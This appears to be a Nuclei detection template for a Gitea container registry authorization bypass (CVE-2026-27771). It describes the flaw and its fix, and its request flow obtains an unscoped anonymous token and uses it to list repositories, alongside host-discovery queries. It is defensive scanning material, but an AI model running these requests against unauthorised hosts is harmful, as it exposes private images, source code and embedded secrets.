CVE-2026-27771: Gitea Container Registry - Unauthorized Private Image Access

id: CVE-2026-27771

info:
  name: Gitea Container Registry - Unauthorized Private Image Access
  author: DhiyaneshDk
  severity: high
  description: |
    Gitea < 1.26.2 allows unauthenticated remote attackers to pull private container images.The /v2/token endpoint grants anonymous ghost tokens (UserID:-1) with no scope restriction.The ReqContainerAccess middleware does not check package owner visibility, so ghost users can enumerate all container repositories via /_catalog and pull any private image layer.
  impact: |
    Unauthenticated attackers can exfiltrate proprietary application source code, embedded secrets (API keys, database credentials, cloud provider keys), and internal infrastructure configuration from private container images.
  remediation: |
    Upgrade to Gitea >= 1.26.2. As a temporary workaround, set REQUIRE_SIGNIN_VIEW=true in gitea app.ini, though this blocks all anonymous access including public repos.
  reference:
    - https://blog.gitea.com/release-of-1.26.2/
    - https://github.com/go-gitea/gitea/pull/37290
    - https://github.com/go-gitea/gitea/pull/37610
    - https://orca.security/resources/blog/gitea-container-registry-vulnerability/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-27771
    epss-score: 0.01393
    epss-percentile: 0.70984
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: gitea
    product: gitea
    shodan-query: http.html:"Gitea"
    fofa-query: app="Gitea"
  tags: cve,cve2026,gitea,container,registry,auth-bypass,unauth

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /v2/ HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        GET /v2/token?service=container_registry&scope=* HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: regex
        name: token
        part: body
        group: 1
        regex:
          - '"token":"([^"]+)"'
        internal: true

  - raw:
      - |
        GET /v2/_catalog HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"repositories"'

      - type: regex
        part: body
        regex:
          - '"repositories":\s*\[".+'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - '"repositories":\s*(\[.*\])'
# digest: 4a0a004730450221009cf648df0bedb3d0a84a2f191d6ffddaa2945f6168fb394beae7299679fa1d7b02203b1a817ddadb6d6f76abee1713128384f79d692327ec35bcc6407fb76a49a9b2:922c64590222798bb761d5b6d8e72950

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